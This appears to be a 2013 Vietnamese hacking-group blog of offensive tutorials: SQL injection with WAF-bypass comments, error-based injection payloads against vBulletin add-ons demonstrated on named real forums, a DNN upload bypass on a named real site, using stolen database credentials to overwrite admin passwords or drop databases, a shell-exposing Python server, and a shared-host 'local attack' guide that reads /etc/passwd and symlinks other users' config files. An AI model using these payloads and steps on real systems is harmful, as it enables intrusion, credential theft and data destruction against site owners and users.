Thứ Bảy, 30 tháng 11, 2013

Lý do tại sao bạn sử dụng WAF queries bypassing?

Lý do tại sao bạn sử dụng WAF queries bypassing?

Nhiều người sử dụng cheat-sheets để bypass Web Application Firewall [WAF] và đa phần trong số họ đều không biết tại sao họ lại viết /*!union*/ mà không phải union?

Vì vậy theo mình, những gì mình chia sẻ dưới đây sẽ là lời giải thích nhanh cho họ!
Với một truy vấn (/*!12345query*/) được gọi là C-style comments cho phép bạn thực hiện những truy vấn SQL trong comment.

Dưới đây là một số ví dụ và giải thích:
/*!12345union*/ 1,2,3,... injected query-- -

Khi chúng ta thực hiện điều này, các máy chủ MySQL sẽ phân tích truy vấn của chúng ta nó sẽ thực hiện chỉ khi phiên bản MySQL là lên đến 1.23.45 (12345 là những con số mình quẩy linh tinh nhằm giải thích thôi :P )

Hãy thử một lần nữa để chúng ta hiểu rõ hơn:

www.site.com/test.php?id=1 /*!50000union*/ 1,2,3,... injected query-- -

Nó sẽ thực hiện chỉ khi phiên bản MySQL lên đến 5.00.00 sau đó truy vấn sẽ thực hiện, bởi vì hầu hết các phiên bản MySQL hiện tại là lớn hơn (sau) 5.00.00.
Nó giống như 5.20.35 v.v..



Đó là những gì? Và nhầm lẫn đã xảy ra?


/*!union*/
Đó là nói "nếu phiên bản là tới 0 thì thực hiện truy vấn." 
Hãy xem lại những gì chúng ta đã nói.

Hãy thử truy vấn:


www.site.com/test.php?id=1 /*!65432union*/ 1,2,3,... injected query-- -

Lỗi 403 đã không xuất hiện, nhưng có lỗi MySQL.
Bây giờ các bạn có thể cho mình biết tại sao rồi chứ?

Mong các bạn đóng góp nếu bài viết của mình còn thiếu sót.

Hy vọng qua bài viết này của mình, các bạn có thể học được một cái gì đó hay hiểu được một vấn đề nào đó giúp ích cho các bạn.
Cảm ơn sự quan tâm của các bạn tới Blog của mình!
Thân,
Kẻ Chọc Giận
VNHFamily.Us - VNHack Group

Thứ Tư, 28 tháng 8, 2013

Có User + Pass Data trong tay ? Nhưng bạn chưa làm được gì ????

Có User + Pass Data trong tay ? Nhưng bạn chưa làm được gì ????

_Trong loạt bài share này mình sẽ hướng dẫn bà toan cách sử lý khi trong tay có những cái mà quan trọng sau mà không biết ứng sử và sử lý nó ra sao

+ có trong tay data và user name nhưng ko biết cách kết nối vào để sử lý dữ liệu đó ra sao
Đặt ra nhiều trường hợp ( biết vận động cái đầu chút )
nếu host dùng directadmin admin và koloxo thì vẫn có thể connect đc vào Mysql vẫn có thể update user và pass ( điều nầy thì ko cần nói nhiều)
Nhưng nó dùng cpanel thì sao , cái này mới khốn ( trường hợp không có shell nhé)
_ Giải pháp cho mấy bé đây
+ xác định ip và tìm sẵn link admin ( nếu là vbb khi khỏi có cách upload shell qua data)
+ Máy cài visual 2010 hay bản bao nhiêu thì tùy
+http://dev.mysql.com/downloads/connector/net/1.0.html download bản này về import vào C# , để khai báo thư viện MySql
+ Việc đơn giản còn lại là kết nối với data mà ta đã vô tình hoặc trộm cắp ở đâu thì tùy với câu lệnh kết nối vào Mysql như sau
================================

String connString = "Server = IP host đã xác định bước trên ; Database = data đã trôm được;Port = 3306 ( cổng kết nối của Mysql); User ID = User Mysql;Password";
MySqlConnection conn = new MySqlConnection(connString);
MySqlCommand Command();
Conman = conn.CreateCommand();
Command.CommandText = "Câu Lệnh SQL"; //

ví dụ như
UPDATE `user` SET "password" = "69e53e5ab9536e55d31ff533aefc4fbe'", salt = "p5T" WHERE `userid` = "1"

còn chơi khăm hơn thì

DROP DATABASE `tên data`;

và Nhấn F5 xem thành quả thâu :v

thực chất ra đây cũng chỉ là 1 chút tư duy trong hacking thôi .....Quan trọng là biết cách suy nghĩ

còn đây là video UpShell qua database

Sẽ ra mắt tools connect Mysql và Auto UpLoad Shell for VBB

_ 1 vài video tìm lại
_Video Bypass Chatbox WorldOfHacked =))
http://www.mediafire.com/download/88olep119kiqy1o/bypasschatbox.rar
+ Hack Tiền quán nét
http://www.mediafire.com/download/qglc9r4jt5cnl1u/tmt_cheattime.rar
Ưu điểm có thể gian lận đc nếu biết cách
Nhược điểm : chủ quán biết là chỉ có ăn dép thẳng vào mồm
_Hack Shop Auto V5
http://www.mediafire.com/download/drhi5o3nsc9tblt/hackshop.rar
Chỉ là dùng 1 đoạn java nhỏ để Get Table và colums
_Upload Shell PhpMyadmin
http://www.mediafire.com/download/463c3r7k33f1vzx/upshell.rar
_Local Id Apache
http://www.mediafire.com/download/dtu9zb8u6zkf9gy/local_apache.rar
_Và mấy thằng bợn nhợn chúng nó khai thác web DAV như thế nào
http://www.mediafire.com/download/4b1a1d45o7pk7kw/exploit_server_win_DAV.rar
_Test Local Attack qua FXPFlash
http://www.mediafire.com/download/h3lmylp39so4w95/bypassflasfxp.rar

Thứ Hai, 26 tháng 8, 2013

 Hướng dẫn upload shell thông qua lỗi SQLite Manager (version <=1.2.4)

Hướng dẫn upload shell thông qua lỗi SQLite Manager (version <=1.2.4)

----------
1. Máy phải cài Python, vì code exploit là PyThon. (Thật ra làm bằng tay cũng được )
2. Download file này về: http://nicedesigns.vv.si/sqlite_exploit.py

3. Chạy lệnh: "python sqlite_exploit.py http://example.com/sqlite/"
4. Up shell
-----------
Dork_1: intitle:SQLiteManager inurl:sqlite/
Dork_2: welcome to sqlite manager

Exploit: http://www.exploit-db.com/exploits/24320/
Sym root bypass open port nếu server cho chạy python

Sym root bypass open port nếu server cho chạy python

Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa
dùng lệnh python -h xem có trả về kết quả gì ko nè.

Nếu có chạy thì tạo đoạn code python sau lưu vào file capuchino.py
#!/usr/bin/env python
# Bypass for (c) 2013
import SimpleHTTPServer
import SocketServer
import os
port = 7777
if __name__=='__main__':
os.chdir('/')
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", port), Handler)
print("Now open this server on webbrowser at port : " + str(port))
print("example: http://maho.com:" + str(port))
httpd.serve_forever()





Sau đó chạy nó python capuchino.py

rồi kiểm tra kết quả :victim:7777

Cách này có thể giấu đc kết quả thực hiện sym trên server
Có thể bạn không biết về Facebook

Có thể bạn không biết về Facebook

Một vài điều nhỏ nhặt :))



1.Facebook có thể login bằng các pass khác nhau.
Có nghĩa là bạn có thể cónhiều pass khác nhau.Sau đây là các pass tương đương nhau.
Ví dụ mình có pass là sAd_CaPuChiNo .Nếu mình hóan đổi các kí tự in hoa bằng kí tự thường và ngược lại.Được pass mới là SaD_cApUcHInO .Thi đây là một pass hợp lệ.Có thể login đc lun. Họăc nếu viết hoa kí tự đầu SAd_CaPuChiNo thì đây cũng là 1 pass hợp lệ.

2.Bạn có thể post lên facebook nguời khác mà không cần đăng nhập ( ko cần pass hay cookie gì cả).
Chỉ cần dụ đối tượng vào link sau đây m.facebook.com/upload.php?rdr và dụ victim gửi cái email trong đó cho bạn.Ùi bạn dùng email của mình.Gửi vào email vừa nhận đc.Với subject là dòng nội dung sẽ hiện lên tường của đối tượng đó.Có thể upload hình nữa nha.
Cái này mình bị nguời khác lừa >.<

3.Có thể bypass verify Phone khi đăng kí Gmail ,facebook, yahoo

Bạn có thể vào 1 trong các site sau đây http://receive-sms-online.com/ hoặc http://k7.net/ .Vào đó chọn 1 số nào đó,rồi nhập số đó vào nơi yêu cầu bạn phone verification.Và bạn sẽ nhận đc code xác nhận ở trang này.

4. Fake ip siêu nhanh bằng cách cài addon "AnonymoX Add Ons" trên firefox.

5. Có thể remove pass file rar .

Bằng cách vào trang này http://archive.online-convert.com/convert-to-zip up file cần lên.Bạn sẽ nhận đc một file không còn pass.Và nội dung cũng biến mất luôn =))

Hack forum với method DNN

tìm các forum lỗi với dork chính sau
inurl:/portals/0/default.aspx
inurl:/tabid/36/language/en-US/Default.aspx

Mình tùy biến đi để có dork cho site việt nam nhé

inurl:"/portals/0? site:..vn



chọn 1 thằng làm victim nhé,
mình chọn thằng này 
http://www.viglaceraland.vn/
chạy trên browser 
http://www.viglaceraland.vn/Provider...nkgallery.aspx
sẽ cho như sau




nó ko cho up file từ máy tính
ta chạy script sau javascript:__doPostBack('ctlURL$cmdUpload','')

thì nhận đc là




nó đã cho up load từ máy tính nhé.ta up thử 1 file txt nào
up file capuchino.txt nhé 

chạy thử nha http://www.viglaceraland.vn/Portals/0/capuchino.txt
--->từ đây suy ra đường dẫn các file tương tự nhé 



nó cho up file ảnh,thì ta có thể up shell thông qua up file ảnh nha,trên firefox mình ko chạy javascript đc nên ko demo chỗ này đc ^^ :v

exploit vBulletin với Awards System 4.0.2+ SQL Injection

Tiếp tục exploit vBulletin với Awards System 4.0.2+ SQL Injection
dork thì sáng tạo ra nha
Ở đây mình dùng dork này nè : inurl:request_award.php Powered by vBulletin® Version 4.0.2

vào site victim với dạng victim.com/request_award.php
Khai thác bằng thêm data với cấu trúc như sau ,có thể dùng addon hackbar nha

do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit
-->victim.com/request_award.php
Data:do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit
Mình lấy ví dụ victim là trang ihabteens.com
kết hợp command và query nó 

http://www.ihabteens.com/forums/request_award.php
Post :do=submit&name=award_id=2 &award_request_reason=0&award_request_uid=0' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,sal t,0x3a,email) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='#&submit=Submit



Sẽ hiện ra như sau ,hihi




View source nó và nhận đc là 



--> Dino:ef1b59043951239f1d073772342f119a

login bằng cookie thôi :x 

Khai Thác Vbulletin [sql trên shoutbox]

2 bài trứoc viết về vbb,tiếp tục mình viết nốt mấy bug còn lại ,bài này là lỗi sql trên shoutbox
dork khai thác :inurl:infernoshout.php



ra một số trang thêm vào đuôi victim tìm đc đoạn như sau
victim.com/folder/infernoshout.php?do=options&area=commands
Mình demo trên http://bien19.biz/forum/infernoshout...&area=commands
hiện ra như sau



Như thấy nó hiện ra 4 khung,khung đầu nhập vào đoạn query là
PHP Code:
' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,salt) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='#  
Khung tiếp theo thích nhập gì thì nhập .

save setting,nó sẽ hiện ra trang thông báo



View source kéo xuống ta xem tên user và đoạn pass mã hóa nó,lấy đăng nhập bằng user admin bằng cookie thôi^^

Hướng dẫn tổng hợp, chi tiết cơ bản nhất các bước để local một victim.

Hướng dẫn tổng hợp, chi tiết cơ bản nhất các bước để local một victim.

Bài viết này dựa trên kinh nghiệm cũng như những kiến thức mà mình thấy cần thiết nhất và dễ hiểu nhất để dành cho những bạn nào chưa biết đến Local sau khi đọc xong sẽ biết đến nó và có thể thực hành ở đa số các trường hợp.

I. Đầu tiên là đọc sơ cái Định Nghĩa của Local Attack là gì cái nào:

Local attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. Nghĩa là tấn công vào một website có bảo mật kém chung server với website mục tiêu. Sau đó tấn công sang website mục tiêu bằng các kỹ thuật khác nhau để đạt được mục đích cuối cùng đó là chiếm được toàn quyền website mục tiêu (victim).
Lấy cái ví dụ cho dễ hiểu:

VD1:
+ Server là một cái PC có nhiều folder trên đó.
+ Mỗi folder tương ứng với 1 user toàn quyền trên nó.
+ Local attach đó là làm sao đứng từ folder này dòm ngó và chui vào được cái folder khác. 
VD2:
+ Server là một cái chung cư to đùng.
+ Folder là 1 căn hộ trong chung cư đó và chủ nhà là một em chân dài, da trắng, xinh tươi nằm trong đó.
+ Local attack là làm đủ mọi cách như đục tường, khoét vách phá cửa để vào nhà có em xinh tươi ấy và xxx được em ấy.

II. Những điều cần biết trước khi bắt đầu tấn công và kết thúc Local attack:

1. Xác định website mục tiêu cần tấn công. (victim)
2. Reverse IP để xac định các website khác nằm chung server với website mục tiêu (victim)
3. Tấn công vào 1 trong các website bất kỳ cùng server với website mục tiêu (victim) và chiếm quyền nó.
4. Bước 3 Thành công ta có quyền trên 1 site cùng server với victim. hay mọi người vẫn gào lên là CÓ SHELL RỒI.
5. Chính thức bắt đầu vào quá trình tấn công nội bộ - Local Attack.
6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim. 
=> Kết thúc local attack thành công (xxx được em chân dài xinh tươi ấy rồi :x )

III. Bắt đầu vào chi tiết các bước để Local attack 1 victim.
Ở đây ta bỏ qua các bước từ 1-5 và mặc định là những bước đó ta đã biết sử dụng shell cơ bản cũng như đã có shell trên cùng server victim, và trong phần này mình hướng dẫn dựa trên server có OS là Linux và không cố định ở Distro, kernel nào.Chúng ta bắt đầu vào được thứ 6.

6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
a. Tìm user của victim:

+ Để tìm user của victim ta có rất nhiều cách và cũng có nhiều công cụ để làm việc này riêng mình sẽ chú trọng vào lệnh để vào server linux nào cũng sài được.
- Lệnh : cat /etc/passwd này dùng để đọc nội dung của file passwd nằm trong thư mục etc trên hệ thông.File này chứa toàn bộ tên user của Linux OS

Code:
cat /etc/passwd
less /etc/passwd
...
Xem thêm: Tổng hợp những lệnh shell hay dùng khi local

- Xem chính xác domain nào tương ứng với user nào thì ta dùng lệnh:
đối với server dùng directadmin để quản lý host ta dùng: 
Code:
cat /etc/virtual/domainowners
Đối với server dùng cpanel để quản lý host ta dùng: 
Code:
ls -la /etc/valiases/tendomainvictim.com
chú ý: tendomainvictim.com chính là tên domain website victim cần tấn công vd tôi cần tấn công huynhdegroup.net thì tôi sài lệnh sau:
Code:
ls -la /etc/valiases/huynhdegroup.net
- Có thể dùng chức năng đọc file passwd của con shell các bạn đang sài để view cũng được và đó cũng là một cách nữa để tìm user victim.
- Còn rất nhiều cách để tìm user của victim như xem error log ...
vd : tail -n 10000 /var/log/httpd/domains/huynhdegroup.net.error.log
vd1: cat /usr/local/apache/logs/error_log | grep "huynhdegroup.net" >>"user.txt"

b. Tìm đường dẫn tới thư mục của victim.
Có nhiều cách để xem đường dẫn của victim như check lỗi trực tiếp để hiện thông báo lỗi kèm theo user, path cụ thể... nhưng ở đây là local attack nên mình đề cập đến vài cách tìm như sau:
- Tìm path dựa vào Path của victim chứ shell: ví dụ các bạn vào shell và thấy:
/home/huynhde/public_html/ thì chắc chắn là cấu trúc đường dẫn của victim cũng sẽ tương tự chỉ khác ở phần user mà thôi
=> /home/victim/public_html/
Việc đặt đường dẫn lưu website thì tùy mỗi server sẽ có nơi lưu khác nhau nhưng đa phần trên 90% sử dụng đường dẫn như mình đã nêu. còn lại thì các bạn tự suy ra dựa theo cách suy luận mình đá nói.

c. Tìm file cấu hình của victim (config.php)
Đây là bước quan trọng quyết định tới việc các bạn có thể chiếm được victim hay không phụ thuộc vào bước này.Mình hướng dẫn trong trường hợp đây là mã nguồn victim tự code
thường thì file config.php hay nằm chung thư mục với file index.php tuy nhiên một số người khi code sẽ đưa vào trong vài lớp folder để quản lý code và cách tìm đó là các bạn view nội dung file index.php (để biết view thì các bạn xem bước 7 tiếp theo) để ý các dòng includes các file như là:
Code:
./inc/config.php
./includes/config.php
./includes/db.php
./inc/dbconnect.php
...
Thường thì một số mã nguồn sẽ có đường dẫn file config cố định và các bạn phải tìm hiểu mã nguồn đó để biết được file config đó nằm đâu. mình sẽ giới thiệu vài mã nguồn thông dụng:
Code:
Vbulletin: /home/victim/public_html/includes/config.php
PHPBB: /home/victim/public_html/config.php
Joomla: /home/victim/public_html/configuration.php
WordPress: /home/victim/public_html/wp-config.php
ibp: /home/victim/public_html/conf_global.php
php-fusion: /home/victim/public_html/config.php
Smf: /home/victim/public_html/Settings.php
phpnuke: /home/victim/public_html/html/config.php
Xoops: /home/victim/public_html/mainfile.php
ZenCart: /home/victim/public_html/includes/configure.php
setidio: /home/victim/public_html/datas/config.php
Discuz: /home/victim/public_html/config/config_ucenter.php
Bo-Blog: /home/victim/public_html/data/config.php
Biết được file config.php nằm đâu rồi thì chúng ta bắt đầu qua bước 7 để tiến hành xem nội dung file config đó

7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
Có 2 cách thông dụng nhất để xem file config của victim đó là:

A. Dùng lệnh xem file như: cat, less, more nếu server cho phép (tiếc là đa số không cho phép cách này :( )
vd: cat /home/huynhde/public_html/@VHB@/includes/config.php
vd: cat /home/huynhde/public_html/configuration.php
vd: cat /home/huynhde/public_html/wp-config.php
...

B. Dùng phương pháp Symlinks: đây là phương pháp phổ biến nhất và đa số là hơn 95% sử dụng nó.
Symbolic Links là gì?
Symbolic links, vẫn được biết đến với cái tên symlinks, về cơ bản là biện pháp tạo shortcut nâng cao. Nguời dùng có thể tạo các liên kết tượng trưng cho các file hoặc thư mục riêng lẻ, sau đó các liên kết này sẽ xuất hiện như thể chúng được lưu trong cùng thư mục với liên kết tượng trưng mặc dù liên kết tượng trưng lại trỏ đến vị trí thực của chúng.
Có nhiều cách để tiến hành tạo symlinks nhưng mình đề cập đến dùng lệnh symlinks cho cơ bản nhất.Sau đó mới tới việc dùng các tool để khai thác.Để symlinks ta dùng lệnh ln kèm theo tùy chọn cho nó bạn muốn tạo symlinks đến file config.php của victim tên huynhde sau khi đã biết chính xác đường dẫn của nó ta làm như sau:

vd: ta đứng từ site http://dienthoailocal.com/local/shell.php cùng server vớihttp://huynhdegroup.net/@VHB@/ và ta sẽ tạo symlinks tới file config.php của huynhde như sau:
Code:
ls -s /home/huynhde/public_html/@VHB@/includes/config.php 1.txt
-> chạy lệnh này trên shell xong thì ta sẽ có được file 1.txt cùng folder với con shell nếu ta ko đổi thư mục trước khi symlinks.
Lúc này ta có thể xem nội dung của file 1.txt bằng nhiều cách như:
1. Xem trực tiếp bằng lệnh cat hay less: 

Code:
cat 1.txt
less 1.txt
...
2. Xem trực tiếp trên trình duyệt dạng domainshell.com/1.txt
vd: http://dienthoailocal.com/local/shell.php 
sau khi symlink ta sẽ xem như sau 
http://dienthoailocal.com/local/1.txt

Đối với một số server sẽ không cho phép ta xem trực tiếp như trên thì chúng ta sẽ dùng thêm file .htaccessvới nội dung bên dưới để hỗ trợ xem file symlinks:

Code:
Options Indexes FollowSymLinks
DirectoryIndex index.htm
AddType txt .php
AddHandler txt .php
3. Nếu vẫn tiếp tục không xem được thì sẽ có 2 khả năng xảy ra: đó là do server chặn không cho xem và do victim đã chmod phân quyền cho file đó.
+ Đối với việc server chặn không cho xem bằng mod SSI thì chúng ta hay dùng chính SSI để xem file đã symlink bằng cách tạo 1 file SSI có:
- Tên: saocungduoc.shtml
- nội dung:
Code:
<!--#include virtual="1.txt" -->
- Save lại và xem như sau: http://dienthoailocal.com/local/saocungduoc.shtml
Ở trường hợp này thì một số server chúng ta sẽ thấy nó hiện hết nội dung lên liền ở tranghttp://dienthoailocal.com/local/saocungduoc.shtml này.
Tuy nhiên cũng có một số server chúng ta sẽ tháy nó trắng tinh như màng trinh :( lúc này mọi người chịu khó click chuột phải vào chỗ nào trắng nhất và chọn View Source để xem màng trinh nhé =))
- Nếu đã view Source mà không xem được nữa thì chắc nó rơi vào trường hợp bị chmod kỹ hoặc chúng ta symlink bị sai đường dẫn :D

4. Dùng tool để bypass symlink: PHP 5.2.12/5.3.1 symlink() open_basedir bypass
Mọi người xem bài viết này để sử dụng nhé:
Tool bypass symlink 5.2.12 - 5.3.1 - open_basedir


Kết thúc một số phương pháp tạo và xem file config của victim.

8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim.
Việc connect này thì cũng có nhiều cách nếu bạn nào thích dùng trên giao diện thì xem bài này:
Mã nguồn công cụ thao tác với MySQL qua giao diện


Còn những ai thích thì có thể dùng chức năng connect với database trên con shell bằng cách nhập user database, password database và tên database vào rồi connect sau đó dùng câu lệnh query làm gì tùy các bạn.


Hết tut local cơ bản rồi. Bạn nào không hiểu gì thì cứ hỏi nếu giải thích được mình sẽ support nhiệt tình như con cá trình :D
Tổng hợp những lệnh trên shell hay dùng nhất khi local

Tổng hợp những lệnh trên shell hay dùng nhất khi local

1) Xem list domain & user trên cùng sever
Code:
directadmin: cat /etc/virtual/domainowners
cpanel: ls -la /etc/valiases/tendomainvictim.com

cd/etc/vdomainaliases;ls-lia
Trường hợp đặc biệt khi không thể xem us
er nằm cùng host thì ta thêm && vào
Code:
cd/etc/vdomainaliases && ls-lia
2)Xem tên user: tùy vào distro linux khác nhau sẽ có các câu lệnh đọc file khác nhau.

Code:
cat /etc/passwd
less /etc/passwd
more /etc/passwd
head /etc/passwd
tac /etc/passwd
rev /etc/passwd
xxd /etc/passwd
3)Local sang victim bằng lệnh dir ( 2013 - giờ hiếm server nào còn sài được)

Code:
dir /home/ten user can local/public_html
vd: dir /home/vhb/public_html
4)Xem nội dung file lệnh xem file cũng tương tự như mục số 2 
-> có thể sài các lệnh đó thay thế cho cat, less,...

Code:
cat/home/ten user can local/public_html/index.php
vd: cat /home/vhb/public_html/@vhb@/includes/config.php
vd: less /home/vhb/public_html/@vhb@/includes/config.php

5) Symlink: tác dụng gần giống như tạo shorcut trên windows.

Code:
ln -s/home/ten user can local/public_html/index.php index.txt
vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.txt
vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.ini
với file 1.txt hay 1.ini là mình tự đặt để nó tạo liên kết từ file config.php đến.

6) Tìm path của mấy victim sài Add on domain
find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'victim.com'
Tư duy - Phương hướng Attack Website - Server

Tư duy - Phương hướng Attack Website - Server

Tình hình là có khá nhiều bạn pm mình hỏi cách check site.Mà Mình cũng không có nhiều thời gian để chỉ từng bạn.Nên mình viết cái đường đi.Tư duy check site để các bạn đọc.Từ đó có một cái định hướng.Tự mình nghiên cứu.Thực hiện.


Điều đầu tiên mình muốn nói đó là muốn tấn công 1 site.Điều đầu tiên bạn cần có đấy là sự kiên nhẫn.Cóp nhặt từng tí một.Không thể nôn nóng mà bỏ qua nhiều thông tin.Dẫn đến giảm hiệu quả.Không phải website nào tấn công 1 phát cũng là được ngay.Chính vì thế nên phải tích từng đi thông tin một.

Nếu để kiếm một site để check chơi thì tốt nhất là các bạn nên dùng các dork tìm các site có lỗi sẵn.Ví dụ như các dork sqli .Các dork của các phiên bản joomla ,vbulletin có lỗi.Như vậy sẽ hiệu quả hơn là tìm 1 site bất kì rồi xem thử nó có lỗi không. (Ngoài ra còn có một cách nhanh hơn nữa đó là dùng tool scan dork.Nó sẽ tìm cho bạn một khối site bị lỗi có thể check được từ một list dork có sẵn.Cái này hiệu quả hơn cho dân UG lúc tìm shop lỗi.)

Còn nếu bạn muốn tấn công một website xác định.Thì việc này khó hơn.Giả sử victim của bạn có domain là target.com .Để tấn công victim một cách hiệu quả.(Mình nói ở đây là cả đối với host share và private.Site lớn có bảo mật tốt,lẫn site nhỏ,forum. ) .

Bước 1:Lấy thông tin ban đầu.

Lấy thông tin của victim .Bằng các whois nó.Tìm hiểu càng nhiều thông tin về victim càng tốt.Và google ,bing ,yandex .... đều là các công cụ hữu ích.Mình khuyên nên thử với nhiều công cụ tìm kiếm.Vì bản thân thuật toán tìm kiếm của các công cụ này khác nhau nên dẫn đến cho nhiều kết quả với hiệu quả khác nhau.
Ví dụ như nhập vào công cụ search như sau

ip:123.101.11.122 id=

Nó sẽ cho ta một số thông tin thú vị.Bạn hãy cố gắng thu thập thông tin ban đầu càng nhiều càng tốt.Chủ sở hữu domain.Admin của website.Support.Kể cả số điện thoại , facebook,gmail ,yahoo, địa chỉ mail của công ty.1 Attacker giỏi là một attacker có khả năng tận dụng mọi sơ hở.Mọi điểm yếu có thể tấn công.

Bước 2 : Phân tích khả năng tấn công.

Đầu tiên là nên scan victim chính.Scan victim chính là công việc chủ đạo.Đối với site nằm trong server private của các công ty lớn.Thì đây là bước đóng vai trò quyết định bạn có thể attack được nó hay không.
Công cụ scan khá nhiều.Mình giới thiệu bạn 1 số bộ như acunetix Vulnerablility Scanner . OpenVas (của backtrack ) , w3af ( của backtrack ) , nessus (của backtrack ), wpscan ( scan wordpress trong backtrack ) , joomlascan ( scan bug joomla trong backtrack , uniscan ( trong backtrack ) ... ngồi mà kể hết các bộ công cụ chắc đến sáng mai.Công cụ thì nhiều nhưng các bạn nên chọn lựa.Đối với victim nào nên dùng bộ nào.Và nên dùng kết hợp.Vì như mình đã nói.Với mỗi tool khác nhau nó dùng cơ chế ,thuật toán scan khác nhau.Nên hiệu quả nó cũng khác nhau.Từ kết quả scan được.Nó cho ta định hình phải tấn công như thế nào.

Scan server.Scan lấy thông tin về server.Ví dụ như xem server dùng hệ điều hành gì.Sử dụng Apache ,SII phiên bản bao nhiêu. Được viết trên ASP hay PHP .Port nào mở.(Để scan port thì có thể dùng nmap.Nó là công cụ rất hiệu quả).

Mọi thông tin về phiên bản,port bạn hãy google ngay.Hoặc vào exploit-db.com xem nó có thể bị attack thông qua nó hay không.Còn không bạn có thể lưu lại thông tin.Rồi sau đó kiểm tra 1 lần xem sao.Đây là các bước rất cần thiết đối với việc tấn công 1 website lớn.

Đối với Server share host.Phân tích khả năng tấn công .Đây cũng là một bước rất quan trọng.Nó rút ngắn thời gian tấn công của bạn.Nhưng mang lại hiệu quả cao.
Mình thấy đa số (Và trước đây mình cũng vậy ). Đó là để tấn công 1 website ko bị lỗi ,Không có lỗ hổng.Mình thường reserve ip của server chứa victim.Rồi mở từng site check xem có sqli hay không.
Đồng ý là sqli rất nhiều.Và rất dễ khai thác.Nhưng không phải lúc nào mình cũng có thể may mắn.Check 1 cái là ra link bị lỗi ngay.Nếu scan toàn bộ site thì đến bao giờ mới xong.Có một cách rút ngắn quá trình này đó là xác định loại site cần tấn công.

Mình ví dụ.Bạn có kinh nghiệm về check wordpress.Bạn muốn tìm các site trong server sử dùng mã nguồn này để tấn công.Sau đó local sang victim chính.Hãy dùng google với dork là

ip:112.78.2.247 "wordpress"

Như đây mình nhận được một victim trong server này sử dụng wordpresss http://www.saigoncanho.com.vn/

Tương tự cho các mã nguồn khác cũng vậy.

Bước 3: Tấn công.

Đây là bước nhiều nhất,Nhưng mình nói ít nhất,ví nó có quá nhiều kiểu tấn công.Biết nói thế nào cho hết được.
Chỉ đúc kết một số kinh nghiệm.Ví dụ như đối với forum vbb chẳng hạn.Nhiều phiên bản thực sự không có bug.Nhưng không phải vì thế mà ta bỏ qua.Hãy xem các web application của nó.Ví dụ như các mod.Đối với joomla và các mã nguồn khác cũng vậy.Hãy xem cách extension đi theo.Chúng rất hay bị lỗi.Bởi vì đây đa số là các ứng dụng tích hợp được viết bởi các web developer việt nam.Chúng rất kém trong việc bảo mật.

Tận dụng tối đa kết quả mà các bạn scan ở trên.Ví dụ như bạn scan được server dùng apache 2.1 chẳng hạn.Hãy xem nó là bản update chưa.Nếu chưa có lỗi để khai thác không.Tấn công vào nó.Xem thông tin từ các lỗi public trên google mà tấn công.Hãy cố gắng tấn công 1 cách từ từ. 

Xem trong cấu trúc site khi scan được .Chỗ nào là khai thác được.Ví dụ như chúng để lại database back up trên site chẳng hạn.Tải về và phân tích ngay.

Nhiều bộ công cụ scan nó scan đến từng lỗi nhỏ.Như tìm vị trí có thể up ảnh, up file bẳng hạn.Hãy cố bypass up shell thử xem.

Ở mục này có quá nhiều cái để nói.Và thực chất đa số mọi tut hack thường nói về phần này.Nên mình để phần này cho các bạn.Hãy cố gắng tích hợp càng nhiều kinh nghiệm phần này .Càng nhiều càng tốt.Các phần khác nó đi theo 1 qui luật nhất định.Có thể đối với victim nào bạn cũng làm như thế.Nhưng đối với phần này.Nó phụ thuộc vào nhiều thứ.Phụ thuộc vào kết quả scan được.Phụ thuộc vào những đối tượng khác nhau.Nên nó rất đa dạng.

Kết quả ở phần này.Là bạn có thể có được tài khoản admin.Up được shell.

Bước 4: Nếu tấn công được trực tiếp target rồi thì không nói làm gì.Nếu tấn công đc một site nằm cùng server.Thì bước tiếp theo là local.Về vấn đề local này cũng khá rộng.Mình chỉ nói qua một phần trong đó.

Trong local thì symlink là một kiểu local phổ biến nhất ,Được dùng nhiều nhất.Nó như là một shortcut bên window.Góp phần làm nhanh quá trình gọi chạy một file.Nếu như gọi trực tiếp hardlink thì quá trình họat động của server sẽ chậm hẳng.

Trong phương pháp local.Mục đích chính của chúng ta là đọc / lấy các file config (hoặc 1 file config của target cần tấn công ). Việc thực hiện đầu tiên là chúng ta thường đọc file /etc/passwd để xác định tất cả các user nằm trong server ( Và không phải server nào cũng cho ta thực hiện đc.Phải bypass ).

Để đọc file config ta còn phải nắm các mã nguồn.Với mỗi mã nguồn khác nhau thì file config nó nằm ở một vị trí khác nhau.
Mình đưa ra một số file config đối với một số mã nguồn tương ứng.

vBulletin : /includes/config.php
IPB : /conf_global.php
MyBB: /inc/config.php
Phpbb: /config.php
Php Nuke : /config.php
Php-Fusion : config.php
SMF : /Settings.php
Joomla : configuration.php 
WordPress : /wp-config.php
Drupal: /sites/default/settings.php
Oscommerce: /includes/configure.php



Từ đây ta hình dung được đường dẫn chính xác dẫn đến file config của victim.Từ đó có thể symlink được chính xác file cần đọc. (Nếu như victim đổi vị trí của file config.Thì ta phải ngồi symlink mò.Symlink từ index nó,đến những file khác,xem nó include những file nào .Từ file này dò đến file kia.Đối với một attacker kinh nghiệm.Thì việc bảo mật bằng cách giấu file config của victim đôi khi không hiệu quả.

